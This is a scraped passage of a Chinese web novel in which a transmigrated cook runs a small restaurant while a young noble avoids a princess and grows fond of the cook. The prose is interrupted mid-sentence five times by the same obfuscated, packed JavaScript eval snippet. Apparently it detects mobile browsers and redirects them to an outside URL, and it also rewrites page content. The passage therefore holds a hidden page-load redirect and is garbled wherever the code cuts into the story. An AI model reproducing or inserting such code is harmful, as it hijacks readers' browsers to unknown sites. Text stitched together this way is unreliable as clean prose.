宝庆公主的姑母，便是官家的嫡姐，安国长公主。她的府邸也在西湖边上，离东平王府并不远。 谢临川眉头微蹙。 宝庆住在长公主府，来找他，他并不意外，但完全可以等他回去，何必在上值的时候？ 说是王妃让她来？难道是来监视自己的？他这些日子早出晚归的，指不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15726643|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定让父母看出些端倪。 当下，他便把一摞子牙帖、票据之类的东西铺了开来，以毛笔饱蘸了墨，圈圈叉叉地乱勾了起来。 一面写着，一面严肃地道：“我忙着呢，一大堆单子要开。待会儿，还要和街道司去御街巡逻。” 他看了看外面火辣辣的太阳，着重强调：“我们都是走着去的，可晒人了。” “啊——” 宝庆公主也偏头看了一眼。太阳那般毒辣，她雪白的皮肤可经不得晒。 她咬着唇，很是为难，那句“我跟你一起去”，到底没说出口。 正在这时，杨松抱着一摞子文书，从外面跑进来。 谢临川看他一副氓之蚩蚩的样子，展颜一笑，计上心来。 他把杨松拉到宝庆公主面前，十分亲切友好地介绍：“这位杨郎君，叶子戏玩儿得特别好，让他陪你玩玩儿。” 宝庆公主眼睛一亮：“真的？” 叶子戏类似于纸牌游戏，自来在后宫中流行。宝庆公主是个中高手，也十分痴迷。 她曾在一个月圆之夜，将夜明珠放在琉璃盏中，借着明珠与月色，与宫人玩儿了个通宵。 此事被官家知道后，杖责了宫人，罚她禁足三个月。但宝庆公主仍不悔改，禁足期间，又偷了一副牌进去，熬更守夜地玩儿。[1] “岂能有假？”谢临川朝着杨松努嘴，“不信你问他？” 天爷呀，杨松哪里知道，回来一趟，平白又背这么大一个锅？这二位，他又谁都得罪不起！ “这这这……”杨松支吾半天，只好道，“在下只是略通一二。但这会儿，正上值呢。何况，咱们这儿也没有叶子戏。” “怎么没有？！”谢临川惊叫起来，“就在你案牍左边的那个柜子里，第三排第四格。好像还有骰子……” 杨松魂儿都要吓没了！ 这些玩意儿确实是他的。有时候，其他人休沐，只他一个人上值，他就拿出来玩一玩。现在，被言郎君知道了…… 杨松脸色煞白，感觉自己的仕途快要完蛋了。 谢临川见他神色，立马送上定心丸：“这里就三个人，你不说，我不说，她不说，谁会知道？” 他收拾起文书，清清嗓子，正儿八经地道：“现在，我要上御街巡查去了。此事，只有你们俩知道了。” 说罢，他一溜烟儿就跑了，跟身后有鬼在撵似的。 杨松眼睁睁看着他离去，一回头，正是宝庆公主那殷切而热烈的目光。他一哆嗦，赶紧跑去拿了叶子戏：“小殿下，请——” 宝庆公主眼热叶子戏，连杨松知晓了自己的身份也没注意，一下把牌抓在了手里。 …… 从临安府署逃走后，谢临川寻摸着日头毒辣，需得找个地方遮阴。 若是往日，自然是叫朱明等人吃酒去。但这些日子，他跟着刘长风，学了不少东西，渐渐的，就与朱明他们说不到一块儿去了。 左右无事，他便沿着春波河溜达，胡乱琢磨着。 小河两岸杨柳依依，太阳晒不下来，更有些凉风，吹得人十分惬意。 不知怎的，那双脚好像自己有主意般，溜了一会儿，就到了八字桥下。 一抬头，正是“杏花饭馆”四个大字。谢临川眉开眼笑，大步走了进去。 30. 盐水毛豆（一） 如今虽天气炎热，人们食欲不振，但吃之一事上，也有许多好处。 譬如，盛夏物产丰富，瓜果蔬菜、豆角茄茎都趁着热气，蓬蓬地生长起来。 早上，卖荷花的老翁用一根担子挑两个箩筐。 一个里面是碧绿的荷叶、粉红的荷花、硕大的莲蓬，另一个里面却是毛豆。 江清澜买了一大把荷花，并几个新鲜莲蓬——此时的莲蓬，生吃最是清甜可口，还有清热下火之功效。 这几个莲蓬，就留给团团当零嘴儿。 至于毛豆，只要一看到，江清澜就要想起小时候，跟外婆住在农村的场景。 家门前是一片一片、连绵不尽的水田。ha蟆藏在青青的禾苗里，呱呱地叫，与大槐树上的蝉鸣声此起彼伏、交相辉映。 秉着物尽其用的道理，田埂两侧多栽有矮矮的毛豆苗，遍生毛刺。 小孩儿穿着短裤、短裙从田埂上疯跑而过，柔嫩的腿上可能会被蜇红。 然而，可爱的、小小的毛豆管们便结在这些矮苗上。把它们撸下来，丢在盐水里一煮，夏夜小食就有了。 在月明的夜里，外婆手持蒲扇，坐在竹背靠椅上，一边吃着毛豆，一边给小小的她讲故事…… 童年光阴永远刻在人的记忆里，无论岁月如何流逝、距离有多远，这份情永远不变。 如今，江清澜穿来了这里，也很想煮一些盐水毛豆，分给团团、王蕙娘、虎子他们吃，复刻一下当年家人在身边的温馨场面。 把毛豆剪了两头，以便入味儿，下到放了花椒、盐的开水锅里煮，再少加一勺卤料即可。 让毛豆保持嫩绿的关键在于，煮的时候，不可盖锅盖。 看着小指长的、毛茸茸的小家伙们在锅里浮浮沉沉，江清澜又想到了花生。在盐水卤煮这一点上，花生是与毛豆并称的，所谓“花毛一体”是也。 然而，到现在为止，她还没在这个时代见过花生。 那些大量用花生的川菜——宫保鸡丁、蛋酥花生、口水鸡便都没做过。酒酿冰汤圆、水果冰粉里少了花生的脆香，也失了一道风味。 如今，没有花生，先吃毛豆，慰慰乡愁吧。 她方把毛豆捞在竹簸箕里，好让它们沥水，只见一颗胖球儿一溜烟儿从外堂跑进来。 团团手里还捏着掰碎了半边的莲蓬，气喘吁吁地道：“阿姐，那个很好看、很好看的阿兄来啦。” 谁啊，这么早？江清澜偏头看了看天光，心里嘀咕道。 此时，太阳还挂在西天，衙门尚未散值，市井百姓也各自忙碌劳作着。一般要等到天黑，夜市与食店才会热闹起来。 江清澜怀着好奇，与团团两个到了正厅。 只见那人身着霜白圆领襕袍，手握着一卷书，正驻足在柜台前的荷花丛前。那身霜白色，与粉的花、碧的叶正是相得益彰。 江清澜脑中蓦的冒出一句：出淤泥而不染，濯清涟而不妖。[1] 她欣赏了半刻，浮起笑意，迎上前去，客气道：“言郎君今日好早，吃些什么？” 谢临川也一笑，说明来意：“不急，我就来避个暑，讨个清净。” 他眼波流转，发现团团手里的莲蓬鲜嫩可爱，就道：“小妹妹，你的莲蓬给我吃怎么样？” 团团一听，立马把手里的半个莲蓬背在身后，嘟着嘴说： “阿兄，莲蓬只有半个啦，团团的嘴巴、牙齿、舌头、肚子都想吃，不能给你。” 她又把右手举起，张开五个胖胖的指头给他看： “这个莲蓬可不好剥。阿兄你看，我手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15734854|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甲都剥黑了。阿兄你这么洁净英俊的，定然不想有个黑手指。” 谢临川粲然一笑。 这妮子，不给就不给嘛，竟说得这般有趣。 他又看一眼江清澜，心道：冰雪聪明，真是有其姐必有其妹。 江清澜上来赔笑：“言郎君，虽没有莲蓬了，却有毛豆。在淡淡盐水里煮过，新鲜可口。” 这时离得近了，看清楚了他手上的书，她就含笑说道： “《诗经·小雅》有《采菽》一篇，写周天子接见诸侯盛况。” “郎君手执《太白阴经》，是为以武止戈。天下大同时，诸侯朝见天子，如此，岂不是正与采菽（毛豆）相配？” 谢临川虽然不精诗书，《诗经》还是知道的。 闻言，他先是一愣，接着，把手里的书扬起来，哈哈一笑：“这么说，我不吃还不行了？” 江清澜但笑不语，自去屋里取了盐水毛豆出来，放于水曲柳面桌上。 谢临川抬眼看： 白瓷碟子里，堆了小山一般的绿毛豆管儿。根根被掐头去尾，披着毛茸茸的外衣，有小手指那般长。 它们有的是三颗豆，有的是两颗，都是鼓鼓囊囊的、颗粒饱满。 这满眼的绿色中，还有些红色的茱萸皮、褐色的桂叶，是煮的时候加了卤料的缘故。 绿中一点杂色，衬得绿愈发清新淡雅。 然而，更美的，是捧着白瓷碟的手指，似青葱、如白玉。如何看，也不像市井商妇日久操持家事的手。 一瞬间，谢临川那颗榆木疙瘩般的心，忽然生发了一点春芽。些许痒意，从他的胸口而起，如涟漪般涤荡开来。 冬霰遇阳、枯木逢春，连他自己都觉得颇为怪异。 他瞟了一眼，立刻别开眼去。 31. 盐水毛豆（二） 见她放下碟子，对自己微一点头，转身就要走，谢临川又觉得，不说点儿什么，实在可惜。 他便勾一勾唇角，有些交浅言深地道：“江娘子，你识文断字，何苦在市井之中讨生活？” 江清澜心里咯噔一声。 完蛋，暴露了！她这书呆子女博士的坏癖，一个不注意，就要掉书袋卖弄！下次谨记，不可不可！ 她脸上浮起客气的笑：“市井生活很好呀，有花赏，有豆子吃，还有银子赚。” 谢临川深深看她一眼。 这倒也不是谎话。她这馆子，虽小，却透露着一种勃勃生机。他甚至觉得，比偌大的东平王府，还有趣些。 他笑了笑，不再说话。把那些纷繁的心绪按下后，他默默看起《太白阴经》来，偶尔拈一颗毛豆。 江清澜退回柜台去，手肘撑在上面，支着脑袋。 听着外面小贩儿的吆喝声、杂沓的脚步声、春波河汩汩的流水声，她有些发神。 不知不觉，到这里来已经好几个月了，生活也走上正轨了。这样，也挺好的。 余光瞥见屋子里唯一的顾客，她的思绪开始神游起来。 不得不说，这言郎君看书吃毛豆，真是赏心悦目。 如果把柜台上这瓶荷花摆到他面前去，让他英俊的侧脸，在花叶掩映间半遮半露，就更好了。哈哈，名花倾国两相欢，长得清澜带笑看。[1] 上辈子，她作为一个学霸内卷王，成天泡在图书馆，又不爱收拾打扮，男女之事的经验很少。然而，耽于行的人，往往敏于思，她脑中YY过无数帅哥故事。 言郎君的长相颇为英气。他若是在现代当明星，日系奶油小生当不了，却可以演些古偶剧里的少年将军。 给他配一个什么女主呢？是钓系作精小娇娇，还是飒爽英姿大姐姐？ 哈哈，言郎君这人脾气有些差，恐怕是吃软不吃硬的，还是小娇娇吧！ But，高傲者低头也很有意思啊！一想到言郎君倒在大姐姐的怀里撒娇，捏着嗓子说： “姐姐，是这样吗？” “姐姐，这个位置对吗？” “姐姐，我疼。” 天哪，很香.艳啊！ 江清澜忍不住笑出了声。 偷偷看那边，好像他没发现，她就轻咳一声，极力压住弯起来的嘴角，狠狠地谴责了自己一番。 正乱想着，一道绯衣身影蝴蝶般地飞进屋里。 哟，钓系作精小娇娇来了！ 宝庆公主小脸儿热得红扑扑的，手上拿一把芍药小团扇，扇得头发乱飞。 进得屋来，她舒了口气，用丝帕擦了擦额头上的汗，才道：“上一盏酒酿绿豆冰汤圆。” 说罢，一眼就看见了谢临川，径直过去坐下了。 江清澜知她是言郎君的阿妹，二人有话要说，她就不再乱YY，自去后厨准备冰汤圆。 待上了甜品，她又扎了攀膊，去门口切卤肉，离店中二人远远的。 宝庆公主在谢临川面前，是做小伏低惯了的，有些委屈地撒娇道：“流光哥哥，你巡了街怎么来这儿啦，叫我好找。” 谢临川置若罔闻，只把一颗毛豆放入口中。 宝庆丝毫不气馁，自己巴巴儿地说了起来：“那什么姓杨的，叶子戏打得稀烂，下个月的俸禄都输给我了。” 谢临川“嗯”一声，眼睛仍没离开书。 宝庆公主去扯他手里的书：“你看的是什么啊？” 谢临川立刻把书皮卷起来，不让她看上面的字，深深蹙眉，一副看见她就烦的表情。 宝庆公主折腾这么些天，从宫里追到宫外，从临安府署追到这小饭馆，一颗明月春心都照了沟渠。 到了这里，他还爱答不理的，当下，她小嘴一噘，负气道：“流光哥哥，你为什么不喜欢我？” 谢临川笑一声，这才正眼看了看她，扎心地道：“我为什么要喜欢你？” 说罢，他抬手拈了颗毛豆，一副轻佻不在意的神态，眼睛却飘向了店门口。 宝庆公主何曾受过这般委屈，眼睛一眨，泪水就涌上来了。 谢临川怕她闹起来，到底不好收场，这才将目光从天水碧的影子上移开，软和了半分语气： “你……你若是像江娘子一般聪慧能干，我就考虑考虑。” 宝庆公主吸吸鼻子，当下认真看起来。 江娘子着茶白短衫、天水碧的三裥裙。她的两只袖子挽得高高的，一根玫紫色襻膊自颈后交叉。 不饰钗环，却有一种清水出芙蓉的美感。 她的左手戴着一个奇怪的、白布做的手套，正压在一方焦黄色的猪肉上，右手握着一把菜刀。 刀刃碰在木菜板上的笃笃声，紧密又清晰。 正是在切猪头肉。 宝庆公主噘着嘴，哼一声：“我堂堂公主，金枝玉叶，岂能做这些庖厨的腌臜之事？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739398|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 谢临川也是一声嗤笑，摇着头道：“是了，你堂堂公主，金枝玉叶，我是伺候不起了。” 正说着，一个熟悉的影子一溜烟儿跑进来。 杨松擦擦额头的汗：“言郎君，公……”马上改了口，“娘子，你们也在这儿吃饭呢？” 他实在不是故意来与他们“偶遇”的。 自杏花饭馆开张，杨松可算是解决了吃饭问题。 他一个单身汉，懒得开伙，往日随便哪里就应付一顿。如今，江娘子开了饭馆，味美、价廉，人也熟，他便将此地当成了食堂一般，日日来吃。 谢临川见到杨松，简直像见到青天老爷活菩萨一般，哈哈笑道：“是呢，她想吃这里的冰汤圆，杨郎君也来一盏吧？” 谢临川发话，杨松岂敢不应？ 他对二人拜了一拜，便乖乖在另一方坐下了。 宝庆公主正要说话，电光火石间，谢临川比她更快，猛一拍桌子，腾地站起来：“我想起来了，府署里，我还有点儿事，先走了。” 他又轻轻拍了拍杨松的肩膀，很亲切地说： “听说你俸禄都输光了？给江娘子说，以后你俩的账都记我头上。吃完了，你记得，把我妹子送到西湖东路去。” 杨松闻言大囧。 然而，的确是自己技不如人，没什么好遮掩的。他又想：西湖东路，正是安国长公主的府邸所在，当下，点头如小鸡啄米。 谢临川眼波一荡，勾起唇角，冲着天水碧的身影点一点头，大步流星地往外走了。 宝庆公主正要发作，杨松小眼睛骨碌碌一转，已开始介绍起来： “娘子，这家的卤肉真的非常好吃。瘦不柴牙、肥不腻口，卤味淡淡、肉香弥久。绝对不比你上次吃的油卤串串差。” “只是，你刚吃了凉的，还是不要吃这么油大的，先吃些黄骨鱼糜粥吧。” 上次那油卤串串，宝庆公主可是记忆犹新。 左右谢临川也走了，她只好压下心中火气。看向前面正切着卤肉的江清澜，她想起谢临川方才的话： “你若是像江娘子一般聪慧能干，我就考虑考虑。” 看着那道天水碧的身影，宝庆公主怔怔地想： 既会做油卤串串，又会做甜樱桃，还会煮毛豆。绿豆冰汤圆也好吃。嗯，江娘子确实聪慧能干，讨人喜欢。 实际上，她不知道，谢临川亦不知道，这么想的，不止他们二人。 32. 黄瓜玫瑰花卷儿 旬日后，杏花饭馆。 一名青年郎君已走到门口了，又举起装满卤猪蹄儿的油纸包，微笑着朝这边点头。 这人姓高，单名一个安字。 自在西山蹴鞠场，喝过柠檬饮子后，他就对江清澜念念不忘。 他听那日与江清澜一起摆摊、卖瓜子儿的老叟说，这位小娘子在中瓦摆摊，就去寻过几次，但一无所获。 前几日，杏花饭馆开张，他正好从八字桥上路过，遇上故人，惊喜不已。 这些日子，他天天都来，有什么吃什么，上什么都说好。 今天吃了猪蹄儿，还带了几大包回家。 江清澜、王蕙娘见他颔首，也都回以一笑。 见高郎君出门走远了，王蕙娘与江清澜咬耳朵： “这个高郎君，这几日总来吃饭。我瞧着，他一双眼睛，粘在你身上似的，怕不是对你有意思吧？” 江清澜正在摘小葱。 两指迅速地一揪，沾了泥的葱须就断下来了，只剩一根白白绿绿的嫩葱。 闻言，她扑哧一笑。高郎君的下巴还青青的呢。 “你想到哪儿去了，那人看着还是个孩子呢。” 这高郎君，估计也就十七岁，放到现代，还在读高中。她一个成年女性，与一个高中生传什么烂桃花？ 再说，就算他成年了，法律允许了，她也不喜欢姐弟恋。少年人么，冲动易变，心智不成熟，靠不住。 王蕙娘听她老气横秋的语气，也是好笑： “你这话说得。什么孩子？他这年纪，娶亲也不算早了。你最多就比他大一两岁。再一个，言郎君、杨郎君，顶多也就二十岁。你们都差不多。” 杨郎君？江清澜一愣，接着咯咯笑起来：“他才二十岁吗？” 他那黑黑的面皮、小小的眼睛、深深的抬头纹，顿时浮现在眼前。 她上次在中瓦卖串串，还让他带回去给孩子吃呢，简直囧得不行。 至于言郎君嘛，这个高富帅跟她不是一个阶层。 除了像欣赏男明星一样yy一下他的美色，她从未想过现实生活中的、这个人的细节。 自然，从未考虑过他多少岁了。 这时候，把杨、言二位放在一起说，她就想起郭德纲和林志颖。这两个人同岁，相貌却全然不同。 “哈哈哈哈——”江清澜忍不住笑出了声，把小葱一丢，用手背擦去眼角笑出的泪。 正说着，一个人高大的身影猛地跑进来，掀起一阵风。 江清澜扭头去看，吓得心里一咯噔——说曹操，曹操到！可见，不能背后说人。 “江娘子，给我们上两份鱼糜粥、两个卤猪蹄儿、一碟卤藕、一碟拌黄瓜。”杨松一把擦去脑门儿上的汗，急急地说。 江清澜见他只有一个人，正要问何来“我们”，又听他道： “对了，那猪蹄儿，能把肉和皮拆下来吗？” 猪蹄儿卤得烂烂的，皮与肉松松挂在骨头上，轻轻一扯就下来了。 只是，大多数人啃猪蹄儿，就爱这一个“啃”字。把皮、肉连着筋，从骨头上啃下来，混在一起嚼，才有趣、才好吃。 尤其是猪蹄儿尖尖的位置，虽然都是皮与筋，但浸透了卤料的香味儿。拆是拆不出来的，啃着才过瘾。 但有些人比较讲究，觉得上手去“啃”很不雅，就会有杨松这个要求。 “当然可以，我们拆好了，再端上来。” “不准拆，我就要和着骨头啃！”只听一声娇斥，一个绯衣少女气冲冲地走了进来，正是宝庆公主。 这几日，江清澜也看出来了。 这个小女娘缠着言郎君，而后者呢，又不爱搭理他，派了杨郎君来应付。看今日这阵仗，定是她又扑了个空。 江清澜了然于胸，旋即转身，往后厨备菜去了。 不多时，菜已上齐。 首先入眼的，是白糖渍黄瓜。 也不知怎么切的，那黄瓜片约有二指宽，却有整根黄瓜那般长。每片都薄得透明，被卷成了玫瑰花儿一般的模样。 糖霜浸渍其间，将化未化，白雪一般。和着青绿色的瓜片，人只是望一眼，也消了暑气。 宝庆公主心里憋着气，但到底是小孩儿心性。她见那绿色玫瑰花可爱，就用筷子卷着，夹起来一朵。 黄瓜最是清新爽脆，甜味也是浅浅淡淡的，并不腻味。 出人意料的是，吃起来有些薄薄碎碎的冰渣子，凉爽又脆口。仔细一看，原来是藏在卷起来的黄瓜片儿里的。 宝庆公主嚼了几个，脆蹦蹦的，满口凉意，道：“这心思好巧。” 杨松道：“娘子，再尝尝这个猪蹄儿，卤香十足，又不辣，也很好吃。” 宝庆一听不辣，也不怕上次香肠嘴的事重演，在那堆焦黄色的骨肉中夹起来一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744720|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个。 哎呀，入口先是猪皮的软糯触感，再轻轻一抿，贴骨肉就下来了。 吐出骨头，口中有嚼劲儿的是四分瘦肉，轻抿即化的是两分肥肉，久嚼不烂、回弹Q软的，是筋与皮的混合。 历经了数个小时的小火慢炖，浓郁的酱香、肉香，与桂皮、八角等香料的味道，已经完美结合，在口中经久不散。 宝庆公主三两口吃完一个，饕餮又上身了，囫囵塞入口中。吐出骨头时，她眼睛还不忘去看桌上的其他美食： 一碟卤藕，经过卤水浸泡，灰扑扑的不甚起眼。但它的空眼儿里，很塞了些花椒粒、茱萸皮。 她一看，就想起上次的油卤串串，满口生津，心里却是又爱又怕。 此外，还有一碗熬得软烂的粥。一丝丝碧绿青菜点缀在微黄色的汤米中，看着很是清淡可口。平白地，又给人些温馨的、家的感觉。 杨松不失时机地说：“娘子用了猪蹄儿，吃些鱼粥解解腻。” 宝庆公主道：“这个冰玫瑰花儿解腻，岂不是正好？” 杨松还是推了鱼粥过去： “娘子，猪蹄吃得多了些，油大了，再吃冰的，容易肚子疼。还是吃些粥，等黄瓜里的冰化了，再少吃些。” 这些话，宝庆公主的母妃常说，贴身丫鬟偶尔也提几句，她只嫌她们烦。若是平时，听杨松这样说，她肯定得抢白几句。 但这些日子，她住在安国长公主府里。 这位姑母最喜欢福安公主，对其他小辈儿，就有些淡淡的。 再者，她在谢临川那里受了不少气。 当下，她听了这体贴话，只觉心里一阵泛酸，眼泪倏的一下就涌了上来。 杨松惊得手忙脚乱：“殿下……你你你……” 想去掏帕子，掏出来了，又觉不妥——自己的东西，岂敢给公主殿下用？ 他就急忙忙塞回去。哪里知道，他慌得手抖，一下把茶盏打翻了，水流得满桌都是。 “这这这……我我我……”他更慌了。 宝庆公主看他惊慌失措，弄得到处鸡飞狗跳的，泪也忘了流，嗔道：“瞧你那笨手笨脚的模样！” 杨松呆呆地道：“是，小人笨得很。” 这呆子，骂他也不知道分辩几句！宝庆公主泪盈于睫，却扑哧一声笑了出来。 她并不知道，自己魂牵梦萦的谢临川，就在杏花饭馆门口。 33. 卤猪蹄儿 朱明摇着一把折扇，背后跟着个小厮，在春波河边溜溜达达的。 如今，蹴鞠赛结束了，陈跃忙着成亲，谢临川也不知上哪儿去了。 他一个人，整日地吃喝.嫖.赌，与敏敏、娇娇几个，也混得腻味了。 闲得发慌，就出来转转。 他一面走一面想，好歹七夕节快到了，逛西湖、看烟花，还可以期待一下。 正兜头兜脑走着，猛的撞上个人，那铁一般的肩膀，撞得他半边胳膊都木了。 “你他.娘的没长眼睛……” 脏话正要出口，一看是老熟人，朱明登时满脸喜色。 他用扇子在来人胳膊上一敲，惊叫道：“流光，是你小子啊！” 谢临川面无表情，两道英挺的眉毛几不可察地微蹙。接着，一脚踢在他膝盖上： “狗嘴吐不出象牙来！” 这人出脚，从不留情，朱明单膝跪地，捂着膝盖赔笑： “误会！误会！” 谢临川沉思片刻，道：“还真有个事儿。” 他修长的手指一指岸边酒旗招摇的小店儿：“你去那家店，买些卤猪蹄来。” “什么猪蹄儿？”朱明伸长脖子，似是不敢相信，谢临川会吃这种地方的东西。 “这里的东西，能比丰乐楼、熙春楼的好吃？” 谢临川有意替杏花饭馆张罗：“你仔细看看，那里面坐的是谁。” 朱明揉揉眼睛，真的认真看了一回： “宝……宝庆公主？连她也吃这里的猪蹄儿？” 他一个纨绔子弟，整日心思就花在吃喝.嫖.赌上，对哪家出的新菜、哪家上了新酒是如数家珍。 这么一家寒酸的小馆子，竟引得宝庆公主纡尊降贵？定有过人之处！ 他忙吩咐身后小厮：“快去，多买些，除了谢世子的那份儿，咱们自己也来些。” 等小厮走远了，朱明才邪魅一笑：“怪道你不过去呢，原来是怕宝庆公主。” “呸，”谢临川蓦然冷笑，眼里闪现出薄怒，“一个丫头片子，我怕她？！” 他这争强好胜的性子，朱明最是知道，忙改口称：“你是嫌她烦。” 谢临川哼一声，不说话了，只把眼睛盯着杏花饭馆。 她着浅云色短衫、槿紫细布三裥裙，正在跟朱明的小厮说话。 因攀膊高扎，半截雪白的手臂露了出来，显得颇为干练。 虽然离得远，他也看得见： 她那双眼睛神采飞扬，却又温柔动人，似乎是静流的深水、映月的寒潭——内有丘壑，却锋芒不露。 这样的女娘，在她之前，他从未见过。 朱明一个浪荡公子哥儿，对男女之事最是敏感。 他看谢临川神色，就用手捋了捋光秃秃的下巴，脸上浮现笑意：“流光，你有点儿不对劲儿啊。” 谢临川眼角都没有夹他一下，漫不经心道：“怎么不对劲儿了？我缺鼻子，还是少耳朵了？” 一双眼睛还在槿紫的身影上流连。 朱明脸现促狭：“你小子，终于开窍了！” 他也眺一眼馆中忙碌的女娘，笑嘻嘻道： “躲在这里看有什么意思。一个市井妇人，弄回去做妾就是了。” 他嘿嘿两声，笑得淫.邪：“回了府，想怎么看就怎么看，想看哪里就看哪里！” 话音未落，只觉一道目光扫来，利剑一般，像要把他捅个对穿。 哟，老虎动怒了！他忙闭了嘴，又认真地看了一回紫裙女娘。 嗯，姿色嘛，算是有几分，尤其那腰，楚楚袅袅、不盈一握。 若是花几个月时间，让他派个人去好好调.教一番，必能成个尤物。 品评完了，朱明又拿眼睛去偷觑谢临川。 只见他那双总是飞扬的眉，此刻正沉沉压下，自言自语道： “妾？”语气里尽是斟酌。 朱明这人，自己爱好男女之事，也热衷于为别人保媒拉纤。陈跃那个爱妾，就是他帮忙张罗的。 这些年，他上蹿下跳地为身边的朋友们忙活，唯有一个谢临川是铁板一块，针插不进、水泼不去。 这会子，见他口风似乎松了，朱明高兴得跟什么似的，急哄哄道：“你娶不娶宝庆？” “不娶。”谢临川言简意赅、斩钉截铁。 朱明重重地一跺脚：“嗐，那就成了！” “别听那些个迂腐的说法，什么没有正妻，娶不得妾。其实啊，法子多的是。只要不弄出个庶长子来，娶上十个八个也无妨。” 朱明越说越激动，比办他自己的事儿还上心，急得火气中烧、抓耳挠腮： “怎么样，成不成？只要你点个头，这事儿包我身上了。明儿个，就叫你软玉在身、柔香满怀！” 正在此时，小厮把猪蹄儿买回来了，装在两个油纸包里。 猪肉的油脂香、冰糖的甘美、各种卤料的异香，还有葱、姜、蒜在热油里爆过的焦香，全混在一起。 浓郁的奇香从油纸包的缝隙间漏出，直往人的五脏庙里钻。 但朱明此时，满心在当媒婆上。对那浓重的卤香味儿，他是丝毫不顾，只瞪着眼睛，殷切地盼望着回复。 簌簌几声，风吹槐树，藏匿其中的水滴纷纷坠下。其中一滴，正正落在谢临川的眼角，顺着流下，竟像是眼泪。 谢临川随手一挥，却被这冰凉冷意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752360|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激醒了。 他不去接小厮奉上的油纸包，一脚踢在朱明的腿弯，骂道：“滚！什么十个八个的，女人多了烦死人！” 说罢，垂下眼眸，转身便往八字桥上走。 他踢的这一脚，却是留了情的。 朱明脸皮极厚，嘿嘿一笑，心道：不要十个八个，那就是要这一个了，有戏！有戏！ 当下一路小跑，紧跟着谢临川爬上桥头。 谢临川在古朴的青石桥头站定，迎着舒爽的晚风，凝视着河水南去。 好一阵子，他才有些严肃地道：“不准胡来，我自有分寸。” 朱明不敢搭腔，心里却道： 你一个荤也没开过的毛头小子，有个屁的分寸！奉承女娘的百种手段、千般心肠，还得哥哥我教你一教！ 此事一定，他心里也畅快。让桥头晚风吹了一遭，他垂下眼，去看春波河两岸熙熙攘攘的人潮。 忽见一个靛青色的身影，在槐树背后眺望着杏花饭馆，形如方才的他与谢临川。 朱明眨了眨眼，再一看，那人又不见了。 他觉得这人有些眼熟，在脑中仔细搜索，却想不起来。 把目光投向谢临川，见他也凝视着那人消失的方向，口中吐出两个字：“陆斐。” 朱明奇道：“便是那天，帮火焰队踢球的陆斐？” 谢临川不置可否。 朱明又道：“怪了，你不进去，是怕宝庆公主发现了，他在这里鬼鬼祟祟的干嘛？难道公主在押宝，除了你，还有他？” 又自言自语地解释：“倒也不错，姓陆的，长得跟个小白脸似的。球嘛，也踢得不错，只比你差那么一点点。” 谢临川听罢，哂然一笑。 什么陆斐，一个末流小官儿，若不是蹴鞠尚可，他眼角都不会夹他一下。 他心里挂念着别的事情，与朱明分别了，还没走拢东平王府，便把陆斐抛到九霄云外了。 回了府，先让丫鬟把猪蹄儿送去清心院，就唤来平林： “你去查一查，八字桥下杏花饭馆的江娘子，出身何处，家里有什么人，父亲是做什么的。” 平林喏喏称是，又道：“方才，王妃叫人送了新裁的衣服来……” 谢临川走过去，从红木龙门架上，拎起件衣服。 那是件月白色的圆领宽袖襕衫，他看了一眼，自言自语道：“也好，我去给母亲请个安。” 平林心道：王妃有些唠叨。世子爷最烦人说教，往日这种事，他都是不理不睬的。如今，他竟要去请安？ 